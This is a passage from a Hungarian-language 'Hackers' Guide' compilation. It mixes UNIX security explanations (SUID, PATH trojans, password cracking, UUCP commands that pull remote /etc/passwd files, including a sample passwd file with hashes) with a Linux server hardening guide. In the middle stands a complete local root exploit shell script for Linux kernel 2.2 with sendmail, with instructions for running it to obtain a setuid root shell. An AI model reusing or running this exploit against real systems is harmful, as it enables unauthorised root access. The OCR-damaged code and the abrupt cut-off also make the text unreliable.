lehetõséggel a többiekek Amikor Mary futtatja bob.x –et, õ lesz az új program tulajdonosa Így ha bobx futása közben szeretne hozzáférni a browse.txt fájlhoz, Mary-nek korábban rendelkeznie kell írási és olvasási jogokkal a fájlra. Ez lehetõvé tenné Mary (és mindenki más) számára a borwse.txt –hez való teljes hozzáférést, akkor is, ha éppen nem a bobx fájlt futtatja. A felhasználó-azonosító (SUID) bobx –en való beállításával Mary hozzáférést nyer a browse.txt fájlhoz, mint az eredeti tulajdonos, de csak a bobx fájl futtatása során. Ezentúl a felhasználó- és csoprtazonosító segítségével a nem szívesen látott böngészõk távol tarthatók a fájlokhoz való hozzáféréstõl, mint a browse.txt esetében Bár ez a lehetõség tökéletesnek tûnik a UNIX rendszer fájljainak kezelésére, mégis van egy kritikus pontja. Mindig van lehetõség, hogy a renszer-adminisztrátor rendelkezik mások számára írási joggal
rendelkezõ fájllal, melyre felhasználóazonosítót is beállítottak. Néhány módosítással a fájl kódjában (egy hackker által), a futtatható fájl segítségével a felhasználó rendszer-administrátori jogokat nyerhet. Rövid idõ alatt a behatoló, úgy tönkreteheti a biztonsági rendszert, hogy még más szuperfelhasználók (rendszer-adminisztrátorok) sem tehetnek semmit. Ahogy Farrow mondta: " felhasználó-azonosítójú, root által birtokolt shell másolat jobb, mint maga a root jelszó." Ezért, hogy csökkentsük a rendszer fenyegetettségét, a rendszer-adminisztrátornak az összes írási joggal rendelkezõ fájlt meg kell keresnie és le kell törölnie. A normál felhasználók által bejlentett fájlok is igen fontosak a biztonsági rések betömésében. 32 Hackers’ Guide KÖNYVTÁRAK A könyvtárak védelme általánosan a legkevésbé fontosnak tekintett részét képezi a fájl biztonági rendszernek UNIX alatt. A legtöbb
rendszergazda és a felhasználók nem veszik figyelembe a valóságot: "a publikus írható könyvtárak jelentik a UNIX rendszer legveszélyesebb részét". A rendszergazdák létrehozzák a "nyitott" könyvtárakat, amelyekben a felhasználók mozoghatnak és elérhetik a publikus fájlokat, alkalmazásokat. Ez katasztrofális lehet, ugyanis a nyitott könyvtárakban tárolt fájlok elmozgathatók vagy kicserélhetõk más verziószámúakkal, még akkor is ha a fájlok nem olvashatók sem írhatók. Ha ez megtörténik, bármely lelkiismeretlen felhasználó vagy "jeszóvadász" elhelyezhet trójai programot a rendszer alkalmazásaiban (mint például ls, su, mail stb.) A példa kedvéért képzeljük el: A /bin könyvtár publikusan írható. Az elkövetõ elõször eltávolítja a régi su –t (az rm alkalmazás segítségével), majd a saját ál su –ját beilleszti és így megtudhatja a programot futtató felhasználók jelszavát. Amíg az
írható könyvtárak elpusztíthatják a védelmi rendszert, az olvashatók csak károkat okozhatnak. Néha a fájlok és könyvtárak mindenki számára olvasásra vannak konfigurálva. Néha ez a hajszálnyi kényelem vezethet fontos adatokhoz való illetéktelen hozzáférés lehetõségéhez, mely súlyos probléma lehet ha a tárolt információ az üzleti ellenfél kezébe jut. Mint általános szabály, a mindenki csoport olvasási és írási jogát szüntessük meg az összes könyvtáron kivéve a rendszer adminisztrációs könyvtárain. A futtatási jogot csak a szükséges fájlokon hagyjuk, bár a felhasználók a saját fájljaikat szabadon elnevezhetik. Ez ad egy kevés védelmet a nem írható és olvasható könyvtáraknak Tehát a programok mint az lp file.x egy nem olvasható /ddr könyvtárban kinyomtatják a fájl tartalmát, míg az ls/ddr nem listázza ki a könyvtár tartalmát. PATH (elérési útvonal) VÁLTOZÓ A PATH egy környezeti változó, mely a
könyvtárak listájára mutat, amelyekben a keresés folyik, ha egy fájlt futtatni kívánunk. A keresés sorrendje megegyezik a PATH változóban tárolt könyvtárlista sorrendjével. A változó a bejelentkezéskor inicializálódik, a felhasználó .profile vagy login fájljából Ha a felhasználó az aktuális künyvtárt teszi be az elsõ helyre, futtatáskor a más könyvtárakban található, azonos nevû fájlokat figyelmen kívül hagyja. Bár a fájl- és könyvtárelérést a PATH változó nagyban megkönnyíti, a felhasználó kitszi magát a meglévö trójai-programok veszélyének. Ezt illusztrálandó, tegyük fel, hogy a trójai-program – mely kinézetre megegyezik a cat alkalmazással – tartalmaz egy olyan utasítást, mely a felhasználó jogosultságait biztosítja majd az elkövetõnek. Az ál cat –et elhelyezi a publikus /usr/username konyvtárban, ahol az áldozat dolgozni szokott. Így ha a felhasználó PATH változójának elsõ helyén az aktuális
könyvtár szerepel és az /usr/username könyvtárban futtatni akarja a cat alkalmazást, akkor az ál cat indul el az /usr/username könyvtárban, nem pedig a valós cat a /bin könyvtárban. Megelõzni a hasonló eseteket a PATH változó pontos beállításával lehetséges. Legelõször – ha lehetséges – távolítsuk el a PATH változóból az aktuális könyvtár bejegyzését az elsõ helyrõl, és rendszerparancsok futtatáskor mindig gépeljük be a teljes elérési útvonalat. Ez növeli a fájlrendszer biztonságosságát, de növeli a leütendõ billenyûk számát is. Másodszor , ha az aktuális könyvtárat mindenféleképp tartalmaznia kell , 33 Hackers’ Guide ez letõleg a PATH változó utolsó bejegyzése legyen, így az alkalmazások (mint a vi, su, cat és ls) a rendszerkönyvtárból – a /bin vagy az /usr/bin – hívódnak meg, mielõtt még az aktuális könyvtárban keresni kezdené. A JELSZÓ VÉDELME A felhasználó-azonosítás UNIX alatt a
személyes jelszavakkal történik. Bár a jelszavak emelik egy szinttel a fizikai védelmet, mégis a rendszer veszélyeztetésének egyik fontos területét jelentik. A felhasználók megbízhatóságának és figyelmének hiánya jelentõsen csökkenti a biztonságot. Ez igaz a legtöbb számítógépes létesítményre, ahol a jelszó azonosítása, hitelesítése és engedélyezése szükséges az erõforrásokhoz való hozzáféréshez – s ez alól a UNIX sem kivétel. A jelszóinformációkat a legtöbb idõosztásos rendszerben korlátozott elérésû fájlokban tárolják, melyek a felhasználók által nem olvashatók. A UNIX rendszer azonban különbözik ezektõl a rendszerektõl, ugyanis itt az össze felhasználó olvashatja az /etc/passwd fájlt, melyben a kódolt jelszavak és felhasználói információk találhatók. Bár a UNIX rendszer egyirányú kódolási módszert szab meg, és a legtöbb rendszer módosított adatkódolási szabványt használ, a jelszó
feltörési technikák ismertek. Ezek a technikák közül a brute-force (azaz az összes lehetõséget megvizsgáló) a legkevésbé effektív módszer, míg a heurisztikus (azaz meglévõ szavak, és azokból generált szavakat próbálgató) – a jelszó körülményeinek jó ismerete esetén – sikert hozhat. Például az /etc/passwd fájl tartalmaz ilyen információkat, mint a login név vagy a megjegyzés mezõi. A felhasználói név nagy értéket jelent a “kódtörõknek”, mivel a felhasználók a login név valamely változatát (fordított betûsorrend, számokkal való kiegészítés) használják kódként. A megjegyzés mezõ gyakran tartalmaz adatokat, mint a vezeték-, illetve keresztnév, telefonszám, cím és hasonlók. Morris és Grampp egy cetlin így vélekedett a UNIX rendszer biztonságáról: [belépéskor] Az író kísérletet végzett néhány tucat helyi gépen, egy 20 gyakori nõi névbõl álló számmal megtoldott kódgyûjteménnyel. A letesztelt
jelszavak száma 200 volt Minden gépen a 200 szóból legalább egy érvényes jelszó volt. [a megjegyzés mezõrõl] ha pedig a behatoló tud néhány dolgot a felhasználóról, új lehetõség nyílik. Családi és baráti nevek, háziállatok nevei, hobbi, regisztrációs számok sokkal gyorsabban eredményt hozhatnak, mint az egyszerû mechanikus próbálgatás módszere. Ezért, egy rendszerbe betörõ személy – nagy valószínûséggel – talál néhány hasznos információt az /etc/passwd fájlban. Ezt észben tartva nyilvánvaló, hogy a jelszó-fájlok rendszer-adminisztrátori képzettség nélkül olvashatatlanok. root:aN2z06ISmxKqQ:0:10:(Boss1),656-35-0989:/:/bin mike:9okduHy7sdLK8:09:122:No.992-3943:/usr:/bin 2. ÁBRA: Az /etc/passwd fájl tartalma 34 Hackers’ Guide Az /etc/passwd fájl olvashatóságának felbontása nem oldja meg a jelszavakkal kapcsolatos alapvetõ problémákat. Tanult felhasználóknak és adminisztrátoroknak törekedniük kell a
megfelelõ jelszó kiválasztására. Elõször, a jó kód legalább 6 karakter hosszú, és tartalmaz nem alfabetikus karaktereket is, például: 5letes, sajat nev, orom1/4. Másodszor, a kódot meghatározott idõközönként meg kell változtatni,úgy hogy mellõzzük a hasonlóságokat a régi és az új jelszó között. A különbözõ rendszerekre érvényes különbözõ jelszavak még inkább segítenek megvédeni illetéktelenektõl az értékes adatokat. Végül, a jelszavakat soha ne tegyük elérhetõvé jogtalan felhasználók számára. A felhasználók gyenge jelszavainak csökkentése jelentõsen növeli a rendszer biztonságosságát. HÁLÓZATI VÉDELEM UUCP rendszer Az UUCP a UNIX rendszer legalapvetõbb hálózati megvalósítása; programok csoprtja, mely a távolt rendszerek közti adatátvitel céljait szolgálják. A probléma alapja, hogy a felhasználók más felhasználók fájljait megkötések nélkül elérhetik. Nowitz álláspontla szerint: Az UUCP
renszer – megkötések nélkül – lehetõvé teszi, hogy egy kívülálló felhasználó programokat indíthat, fájlokat másolhat ki, be amelyek írhatók vagy olvashatók az UUCP-t felépítõ felhasználó álltal. Ez megköveteli a megfelelõ implementációt a rendszer-adminisztrátortól. Alapvetõen négy fontos UUCP parancs van, mely fontos a UNIX rendszer bizonságát illetõen. Az elsõ az uucp parancs amely fájlokat másol a két UNIX rendszer között Ha az UUCP-t nem allította be megfelelõen a renszer-adminisztrátor, bármely külsõ felhasználó szabadon futtathat programot vagy másolhat fájlokat. Ha a másik rendszer neve ismert egy egyszerû uucp paranccsal átmásolhatunk fájlokat a mi rendszerünkbe. Például az %uucp system2!/main/src/hisfile myfile parancs átmásolja a hisfile fájlt a távolt rendszer /main/src könyvtárából az aktuális könyvárba myfile néven. Ha bármely oldalon átviteli megkötések vannak átvitelre, a fájl nem kerül
átküldésre. Ha viszont nincsenek megkötések, egy távoli felhasználó bármelyt fájlt átmásolhat, beleértve a jelszófájlt is. A következõ példával szemléltetjük, hogy lehet átmásolni a távoli rendszer /etc/passwd fájlját a helyi könyvtárba thanks néven: %uucp system2!/etc/passwd thanks A rendszer-adminisztrátorok megolhatják a problémát, ha a fájl átviteli lehetõséget egy könyvtárra korlátozzák, például egy /user/spool/uucppublic néven létrehozott könyvtárra. Ha valaki mégis megpróbálkozik fájl átvitellel valamely más kövtárban, a rendszer a "remote access to path/file denied" hibaüzenettel tér vissza és nem történik adatátvitel. 35 Hackers’ Guide A második UUCP parancs az uux funkciója távoli UNIX rendszereken lévõ fájlok futtatása. Ezt a szakkönyvek távoli parancs futtatásnak nevezik, és a leggyakrabban használt UUCP parancs, mivel a mail saját maga futtatja távoli rendszerekbe történõ
levélküldés esetén. A lehetõség, hogy távoli rendszereken fájlokat futtassunk, egy komoly biztonsági probléma, ha az adott (távoli) rendszerben nincs a távolról kezdeményezett parancsfuttatás korlátozva. Ahogy a következõ példa is mutatja, a rendszernek nem szabadna engedélyezni a következõt: %uux "system1!cat/usr/spool/uucppublic" Ez a parancs ugyanis átmásolja a távoli rendszer passwd fájlját a távoli rendszer publikus uucp könyvtárába, ahonnan már könnyedén átmásolhatja azt. Mindazonálltal néhány parancsot engedélyezni kell távoli futtathatósára. Gyakran az egyedüli engedélyezett parancs a korlátozott mail program. A harmadik UUCP parancs az uucico (copy in, copy out; be-, kimásolás); ez látja el az igazi kommunikációt. Az uucp és az uux ugyanis nem érik el a távoli rendszert, csak beillesztik a kérést egy végrehajtási sorba, és a kommunikációt az uucp és uux számára az uucico végzi. Az uucico program az
/usr/uucp/USRFILE fájlt használja annak eldöntésére, milyen fájlokat küldhet és fogadhat. A fájlok engedélyezettségének vizsgálata a bizonság alapja az USERFILE fájlban. Így a rendszer-adminisztrátoroknak körültekintõen kell kezelniük ezt a fájlt. Egyéb forrópontokkal fogjuk folytatni * Root jog szerezése, ha alap felhasználo vagy Leirom hogy kell root jogot szerezni linuxon ha alap felhasználo vagy. Redhat62-esen tesztelve(ott a kernel verzio is). Itt ez a script kod. Felmásolsod a Nem is legjobb lesz ha emilben elkûldöd magadnak, és elmented a saját könyvtáradba. Ott adsz neki futtatási jogot igy (chmod u+x fájfneve) majd elinditod igy (./ fajlneve) Most beirod, hogy whoami és nini kiirja hogy root. Innen tied a világ #!/bin/sh echo "+----------------------------------------------------------+" 36 Hackers’ Guide echo "| Linux kernel 2.2X (X<=15) & sendmail <= 8.101 |" echo "| local root exploit
|" echo "+----------------------------------------------------------+" TMPDIR=/tmp/foo SUIDSHELL=/tmp/sush SHELL=/bin/tcsh umask 022 echo "Creating temporary directory" mkdir -p $TMPDIR cd $TMPDIR echo "Creating anti-noexec library (capdrop.c)" cat << FOE > capdrop.c #define KERNEL #include <linux/capability.h> #undef KERNEL #include <linux/unistd.h> syscall2(int, capset, cap user header t, header, const cap user data t, data) extern int capset(cap user header t header, cap user data t data); void unsetenv(const char*); void init(void) { struct user cap header struct caph= { LINUX CAPABILITY VERSION, 0}; struct user cap data struct capd={0, 0, 0xfffffe7f}; unsetenv("LD PRELOAD"); capset(&caph, &capd); system("echo|/usr/sbin/sendmail -C$TMPDIR/sm.cf $USER"); } FOE echo "Compiling anti-noexec library (capdrop.so)" cc capdrop.c -c -o capdropo ld -shared capdrop.o -o capdropso
echo "Creating suid shell (sush.c)" cat << FOE > sush.c #include <unistd.h> int main() { setuid(0); setgid(0); execl("/bin/sh", "sh", NULL); } FOE echo "Compiling suid shell (sush.c)" cc sush.c -o $TMPDIR/sush 37 Hackers’ Guide echo "Creating shell script" cat << FOE >script mv $TMPDIR/sush $SUIDSHELL chown root.root $SUIDSHELL chmod 4111 $SUIDSHELL exit 0 FOE echo "Creating own sm.cf" cat << FOE >$TMPDIR/sm.cf O QueueDirectory=$TMPDIR O ForwardPath=/no forward file S0 R$* $#local $: $1 Mlocal, P=$SHELL, F=lsDFMAw5:/|@qSPfhn9, S=EnvFromL/HdrFromL, R=EnvToL/HdrToL, T=DNS/RFC822/X-Unix, A=$SHELL $TMPDIR/script FOE echo "Dropping CAP SETUID and calling sendmail" export LD PRELOAD=$TMPDIR/capdrop.so /bin/true unset LD PRELOAD echo "Waiting for suid shell ($SUIDSHELL)" while [ ! -f $SUIDSHELL ]; do sleep 1; done echo "Removing everything" cd . rm -fr
$TMPDIR echo "Suid shell at $SUIDSHELL" $SUIDSHELL /bin/sush SnIPe@freemail.hu www.extrahu/snipe * Linux szerverek biztonsági kérdései 38 Hackers’ Guide Ez a rövid lélegzetû iromány fõként kezdõ rendszergazdáknak íródott, ennek ellenére nem szeretnék minden - máshol is könnyen hozzáférhetõ vagy a felsorolt szoftverek dokumentációjában olvasható - megoldást részletezni. Ha nem írtam le részletesen valamit, akkor annak egyszerûen utána lehet nézni (man, howto, stb.) Szóval RTFM :). Késõbb, ha lesz rá igény, részletesebben kifejtek egyes témákat, de szívesen venném, ha más is hozzászólna, esetleg részt vállalna az adott téma kidolgozásában. Bármilyen építõ jellegû hozzászólást szívesen fogadok Tartalom 1. Bevezetõ 2. Külsõ behatolási kísérletek elleni védelem 2.1 Hálózati kommunikáció védelme 2.2 Sniffer-ek 2.3 Portscan-ek 2.4 Address spoofing 2.5 DNS spoofing 2.6 TCP/UDP spoofing 2.7
man-in-the-middle attack 2.8 Denial of Service (DoS) 2.9 Resource starvation 2.10 Web browser attack 3. Belsõ támadások elleni védelem 3.1 Fork bomba 3.2 Buffer overflow (stack overflow) 3.3 Symlink attack 3.4 Race condition 3.5 IFS (Inter Field Separator, mezõhatároló) megváltoztatása 3.6 Jelszavak megválasztása 3.7 File-ok változásainak figyelése 3.8 PAM (Pluggable Authentication Module) 3.9 Események naplózása 4. Kiszolgálók 4.1 tcp-wrapper 4.2 SSH (Secure Shell) 4.3 X biztonság 4.4 Inetd 4.5 WWW kiszolgáló 4.51 CGI scriptek 4.6 DNS (Domain Name Service) 4.7 Levélkezelõ (MTA, Mail Transport Agent) 4.8 POP3 szerver 4.9 lpd (Line Printer Daemon) 4.10 FTP szerver 4.11 Firewall szoftverek 4.12 Rendszerellenõrzõ programok (security scanner-ek) 5. Egyéb fontos dolgok 6. Ha már megtörtént a baj 7. Amit érdemes elolvasni 8. Használt fogalmak definíciója 39 Hackers’ Guide 1. Bevezetõ Csak a rendeltetésszerû mûködéshez szükséges csomagokat
telepítsük. Célszerû legalább a /tmp, a /home és a /var könyvtárakat külön partícióra tenni. Ez megnehezíti néhány program hibáinak kihasználását (pl. állományok jogosulatlan átírása az adott file-ra mutató link segítségével, bár a symlink-es exploitok ellen nem véd), lehetõvé teszi a disk quota hatékonyabb beállítását illetve megakadályozza, hogy a syslogd üzenetei megtöltsék a root partíciót, megnehezítve ezzel a rendszer normális mûködését. Ha még óvatosabbak akarunk lenni, a /var/spool-t is külön partícióra tehetjük. Ezzel megakadályozható, hogy a /var valamilyen módon való megtöltése esetén (pl. DoS attack) se álljanak le a spool-t használó processzek, illetve viszont: ha a spool meg is telik, a /var nem. A /tmp-t és a /home-ot érdemes nosuid paraméterrel mountolni. A /home mountolható noexec paraméterrel is, ha a felhasználók saját programokat nem futtatnak. A /tmp nosuid mountolása megelõzi a setuid tmp
file-ok race condition jellegû hibáinak kihasználását. Szóval ez az /etc/fstab-ban valahogy így nézzen ki: /dev/hda2 /tmp ext2 defaults,nosuid /dev/hda4 /home ext2 defaults,nosuid,noexec 12 12 A felhasználók által foglalható maximális merevlemez területet is érdemes korlátozni, így a userek nem tudnak buta dolgokat (pl. "cat /dev/zero > nagyfile") mûvelni Ennek beállításához ajánlott olvasmány a quota howto. Quota kell a /tmp-re (a nagy tmp file-ok létrehozásának megakadályozására illetve, hogy az elvetemültebbek ne itt tárolják a dolgaikat), a /var-ra a mail spool méretének limitálása miatt, illetve a /home-ra a home könyvtárak méretének korlátozása érdekében. Telepítés után ellenõrizzük, nincsenek-e már ismert biztonsági hibák rendszerünkben. Az ellenõrzést kezdjük az adott disztribúció hibalistájával, majd nézzük át a biztonsággal foglalkozó site-okat (pl. Rootshell), listák archívumait (pl BUGTRAQ)
Ha valamiben már találtak biztonsági hibát, azonnal cseréljük le. A legtöbb helyen a javított csomagok elérhetõségét is megadják. Ha még nincs javított verzió, próbálkozhatunk a közreadott patchekkel is. Ha patch sincsen, az adott szolgáltatást célszerû ideiglenesen leállítani. Javítás után minden esetben teszteljük le a rendszert, valóban kijavítottuk-e a hibát. A fent említett levelezési listára feliratkozni is érdemes, így elõbb értesülhetünk a számunkra fontos hibákról és patchekrõl. Rossz hozzáállás, hogy "itt nincs semmi, ami bárkinek is kellene, nem éri meg betörni". Igenis megéri Általában nem a célgépre törnek be elõször, hanem keresnek egy könnyen törhetõ, de gyors kapcsolattal rendelkezõ gépet, amit ugródeszkaként használnak. Így a betörõ valódi címe rejtve marad, mivel az ugródeszkaként szolgáló géprõl általában mindent törölnek, ami a nyomukra vezethetne. Nem igazán jó megoldás
az sem, ha egy jól mûködõ, hibátlan programot minden megfontolás nélkül lecserélünk csak azért, mert megjelent egy új verziója. Jusson eszünkbe, hogy az új verzió új hibákat is eredményezhet, ezért upgrade elõtt mindig olvassuk el a README/CHANGES/FEATURES/stb.-t Azért vannak 2. Külsõ behatolási kísérletek elleni védelem 2.1 Hálózati kommunikáció védelme Ne használjunk telnet-et és ftp-t a rendszeradminisztrációhoz - ha lehet, mindig 40 Hackers’ Guide kerüljük a használatukat - mivel a kommunikáció ebben az esetben titkosítás nélkül folyik; egy sniffer-rel a közepesen képzett próbálkozó is sok hasznos információt (pl. jelszavak) szedhet össze. Ugyanez igaz az rsh, rcp, stb szolgáltatásokra, melyek még veszélyesebbek. Épp ezért javasolt az SSH vagy SRP-s telnet/ftp (Secure Remote Password) használata, amelyek a hálózati kommunikációt biztonságos mértékben titkosítják. 2.2Sniffer-ek Aki a gépünk és a célgép
közötti forgalmat figyelni képes, értékes információkhoz juthat a titkosítatlan kapcsolatokból. Ehhez persze az kell, hogy a hálózaton valahol legyen egy root accountja. Ha ez megvan, több program is rendelkezésére áll a tcpdump-tól (minden Linux disztribúcióban megtalálható) az intelligensebb programokig (pl. sniffit vagy tcpflow) Mûködésük a hálózati interface promiscuous módba kapcsolásán alapszik. Detektálásuk is erre épül, mivel létezik program a promiscuous mód-ban levõ ethernet interface-ek keresésére. Ezzel általában meghatározható, milyen címrõl fut a sniffer (feltéve, hogy az elkövetõ nem olyan operációs rendszert használ, mely a detektálást megakadályozza). A detektorok mûködési elve valami ilyesmi: végigpingeli a lokális hálózatot, így megkapja minden interface hadver címét. Ezután egyenként minden IP-hez tartozó hardver (MAC) címet véletlenszerûen megváltoztat az ARP cache-ben és újra pingel. Amelyik
gép erre válaszol, ott az interface promiscuous módban van. Persze ez még nem jelenti, hogy sniffert futtat, mert néhány más program is átkapcsolja az interfacet ebbe a módba. 2.3 Portscan-ek A portscan kapcsolat kezdeményezése több portra, egymás után. Azt jelenti, hogy valaki kíváncsi arra, milyen szolgáltatások futnak a gépen. Sok rendszerellenõrzõ program is használja ezt a technikát az elemzéshez. A scannelõ valószínûleg arra kíváncsi, melyik szolgáltatást kihasználva tudna betörni gépünkre. Védekezésként log-olhatjuk a TCP/UDP/ICMP scan-t ipp-vel vagy más hasonló programmal. A rendszeresen visszatérõ próbálkozók gépének adminisztrátorait célszerû tájékoztatni az esetekrõl. Ha õk nem tesznek semmit a helyzet megváltoztatására, érdemes a firewall-on kifilterezni ezeket a címeket. 2.4 Address spoofing Ez már a haladóbb technikák közé tartozik. eléggé komoly hálózati ismeretek szükségesek hozzá. A felállás a
következõ: adott A és B gép, illetve C a támadó, aki át akarja venni B szerepét. Az elsõ esetben az ICMP redirect-tel foglalkozunk. C, amennyiben képes figyelni B szegmensét (mert pl. már betört valamelyik lokális hálózaton lévõ gépre), a megfelelõ pillanatban A routerének küld egy ICMP redirect csomagot B routere nevében. Ezután A routere úgy tudja majd, hogy B - akivel kommunikálni akar - a C routerének irányában van. Nem ismerek konkrétan kidolgozott védelmet a támadás ellen, de firewall használata a helyi és a külsõ hálózat között sokat segíthet. Így akár ki is tiltható a kívülrõl érkezõ ICMP forgalom. A következõ eset, amikor C (a támadó) nem tudja figyelni a hálózat forgalmát. 41 Hackers’ Guide Ilyenkor valahogy meg kell bolondítania A routerét, hogy az úgy tudja, hogy B routere C irányában van, tehát A C felé fogja a kapcsolatot kezdeményezni. C gépe természetesen B gépének IP címét veszi fel. Ez
általában a routing táblák valamilyen módon való átírását jelenti. Ez lehetséges úgy, hogy a támadó A routerébe tör be elõször és ott írja át, de ha A routere SNMP-vel menedzselt, (hibás vagy rosszul beállított SNMP szoftver esetén) lehetséges átkonfigurálni betörés nélkül is. Egy jól beállított router az ilyen jellegû támadások nagy részét megfogja. A harmadik esetben B A szegmensén van. Ekkor C, miután sikeresen kiiktatta B-t (azaz valamilyen formában elérte, hogy B leszakadjon a hálóról), átveszi B hardware címét is. Ezután A B helyett C-vel fog kommunikálni. Nem tudok megfelelõ védelemrõl, de ha ez a veszély fennáll, hasznos lehet a helyi hálózatot firewall-lal elválasztott részekre szabdalni. A kritikus hálózatrészekre csak megbízható host-ok kerülhetnek. Így C csak akkor érhet el eredményt, ha B szegmensén van. Ekkor viszont sokat segíthet, ha B jól karbantartott gép, azaz nem könnyû kiiktatni.
Mindenesetre érdemes arpwatch-ot használni. Ez a program figyeli a hálózati forgalmat és a detektált IP és hadver címeket kiírja. Így észlelhetõ, ha valaki a lokális hálózaton egy eszköz hadver címét állítgatja. 2.5 DNS spoofing Ismét az elõzõ felállás: A és B egymással akarnak kommunikálni, de ott van C, aki át akarja venni B helyét. C tehát megnézi B name server-ének címét és betör rá (ha ez nem sikerül, akkor itt a vége), átállítja B IP címét a sajátjára, majd újraindítja a name servert. Ezután A, ha B hostnevét használja a kapcsolat felvételéhez és nem ellenõrzi annak valódiságát (azaz nem kéri B reverse name server-tõl a nevéhez tartozó IP címet), akkor B helyett C-vel fog kommunikálni. Elég jó védelmet nyújt ellene a tcp-wrapper, illetve a megfelelõ kliens és szerver programok használata. 2.6 TCP/UDP spoofing Hibásan tervezett vagy implementált protokoll stack esetén vagy a protokollok hiányosságaiból
fakadó okok miatt lehetséges a már felépült vagy kezdeményezett kapcsolatok "elrablása" vagy a kapcsolatba idegen csomagok "becsempészése" harmadik személy által. Ehhez persze komoly hálózati ismeret, programozási tudás és a TCP/IP protokollok részletes ismerete szükséges. 100%-os védelem nincs ellene, de a felfedezett hibák gyors kijavítása és egy jól konfigurált firewall sokat tud segíteni. 2.7 man-in-the-middle attack A felállást már ismerjük: A és B kommunikációjába C be szeretne avatkozni. Ha a csatorna végpontjai védettek, a csatorna A és B közötti szakaszának "megcsapolása" lehet a megoldás. Ilyenkor C rákapcsolja a saját terminálját a csatornára és az ott folyó kommunikációt lehallgatja. Amikor lehetõsége van, a csatornát észrevétlenül átvágja, majd mindkét végét a saját termináljára kapcsolja, így az egyfajta átjáróként szolgál A és B között, megadva ezzel C-nek a
beavatkozás lehetõségét. Tehát C küldhet A-nak és B-nek is a másik nevében csomagokat, a választ pedig elfogja. A számára érdektelen kommunikációba nem avatkozik be Védekezni csak a teljes kapcsolat kódolásával lehetséges, de még ez sem véd 100%-ig az olyan esetekben, amikor C a kapcsolat kezdetétõl képes beavatkozni a 42 Hackers’ Guide kommunikációba. Az utóbbi eset ellen bizonyos protokollok (pl SSL) implementációja megfelelõ védelmet biztosít ún. certificate-ek használatával 2.8 Denial of Service (DoS) Ez a támadások egy speciális fajtája, amikor a támadó nem betörni akar, hanem egy adott szolgáltatás mûködését szeretné megbénítani. Hogy pontosítsunk: az adott kiszolgáló program vagy az operációs rendszer hibája segítségével a program rendeltetésszerû mûködését megakadályozza. A hiba lehet például egy távolról kihasználható buffer overflow, amelynek következtében a program illegális mûveletet
hajtana végre vagy számára nem hozzáférhetõ memóriaterületre írna, így az operációs rendszer a futását megszakítja. Elképzelhetõ olyan hiba is, amit felhasználva a program egy része vagy egésze lefagyasztható vagy hibás mûködésre bírható. Lehetséges olyan támadás is, amely az egyszerre kiszolgálható kapcsolatok számának a határérték fölé növelésével teszi használhatatlanná az adott szolgáltatást. Védekezni a szerver programok karbantartásával és helyes beállításával lehet. 2.9 Resource starvation Ez többé-kevésbé a Denial of Service attack-ek kategóriájába tartozik. Ez esetben a támadó a gép erõforrásainak (memória, processzor, háttértár) kapacitását igyekszik olyan mértékben kihasználni, hogy ezzel más felhasználó számára a rendszert használhatatlanná tegye. Ennek több módja ismert, lehetséges lokálisan (azaz a gépre bejelentkezve), (pl. fork bomba) illetve kívülrõl végrehajtani a támadást (pl
a syslogd üzeneteit felhasználva megtölthetõ a partíció vagy a régebbi Apache httpdhez intézett kérésben megfelelõ számú ".//" hivatkozást elhelyezve a httpd által okozott processzorterhelés ugrásszerûen megnövelhetõ). Ide tartozik még a hálózati sávszélesség kihasználása is. Ekkor a TCP/IP protokollok hiányosságait vagy egy rosszul beállított hálózati eszközt felhasználva olyan mértékben megnövelhetõ a hálózati forgalom, hogy a felhasználók által kezdeményezett kapcsolatok timeout-tal lépjenek ki. Erre példa a közelmúltban kitalált "smurf" attack, amikor a támadó a célhálózat broadcast címére állított forráscímû csomagokkal bombázza a hálózati eszközöket. Az eredmény elképzelhetõ. E támadások elleni védekezés megvalósítási módja általában csak a támadás megvalósítása után válik közismertté. 2.10 Web browser attack A népszerû web böngészõk (Netscape, Internet Explorer)
méretének növekedésével egyre több kritikus hiba kerül napvilágra. A kliens oldali Javascriptekkel kapcsolatos hibákat sem szabad elhanyagolni. A Java biztonsági modellje elég jó, az elõforduló hibák általában a hibás vagy hiányos implementációból adódnak. Bizonyos hibák kihasználásával a gépünkön tárolt és számunkra olvasható file-ok hozzáférhetõvé válnak a látogatott oldal készítõje számára. Ezért ajánlott letiltani a Java support-ot a böngészõben, ha nem megbízható site-okat látogatunk. 3. Belsõ támadások elleni védelem 3.1 Fork bomba Ez egy kis programocska, amely a CPU idõt és memóriát eszik. Védekezni ellene erõforrás limitek beállításával lehet. Az újabb Linux disztribúciók már alapból PAM-ot használnak, így ez nem probléma. 43 Hackers’ Guide 3.2 Buffer overflow (stack overflow) Ha programozási hiba folytán egy adott buffer méretén túlírható, akkor a tömböt tartalmazó függvény
visszatérési címe (a stack-en a buffer után vége után tárolódik) átírható. Ennek oka az, hogy a C compilerek fordításkor nem figyelik a tömbhatártúllépés lehetõségeit, illetve léteznek olyan függvények, melyek a bufferbe írás során nem ellenõrzik annak méretét. Ez nem lenne gond, mert minden ilyen függvénynek létezik biztonságos (a tömbhatárokat ellenõrzõ) változata, csakhogy könnyû a rosszabb megoldást választani. Így azokon a rendszereken, ahol a stack futtatható, érdekes dolgokat mûvelhetünk (pl. a futó program jogaival shell hívható a visszatérési cím egy exec("/bin/sh")-ra állításával). Ha a program setuid/setgid-es, akkor az kód, amire a visszatérési cím mutat, örökli a futó program jogait, tehát pl. az elõbbi esetben egy setuid-es shell-t kaphatunk. Súlyosabb a helyzet, ha az adott program egy hálózati kiszolgáló, mert bizonyos esetekben a hiba távolról is kihasználható, lehetõséget adva ezzel
bárkinek a jogosulatlan hozzáféréshez. A programozói gondatlanság ellen védelmet nyújt a StackGuard, amely egy GCC (GNU C Compiler) kiterjesztés. Érdemes használni, fõként, ha valaki setuid-es programot fejleszt, de ha nem bízunk egy más által fejlesztett programban, az is újrafordítható vele. Solar Designertõl származik egy kernel patch, amely korlátozott mértékben védelmet nyújt a stack futtathatóságát kihasználó támadások ellen, de létezik módszer a megkerülésére. A legjobb védekezés tehát a setuid/setgid-es programok ellenõrzése, valóban kell-e az nekik. Vannak programok, amelyeknek a korrekt mûködéshez kell, de néhánynak nem. Ezekrõl vegyük le Néhány program futtatása biztonságosabb, ha valamilyen wrapper-t használunk, amely megnehezíti a hibák kihasználását. 3.3 Symlink attack Known tmp filename attack-nak is nevezik. A probléma az, hogy egyes programok world-writable könyvtárba (pl. /tmp) írt tmp file-jainak neve
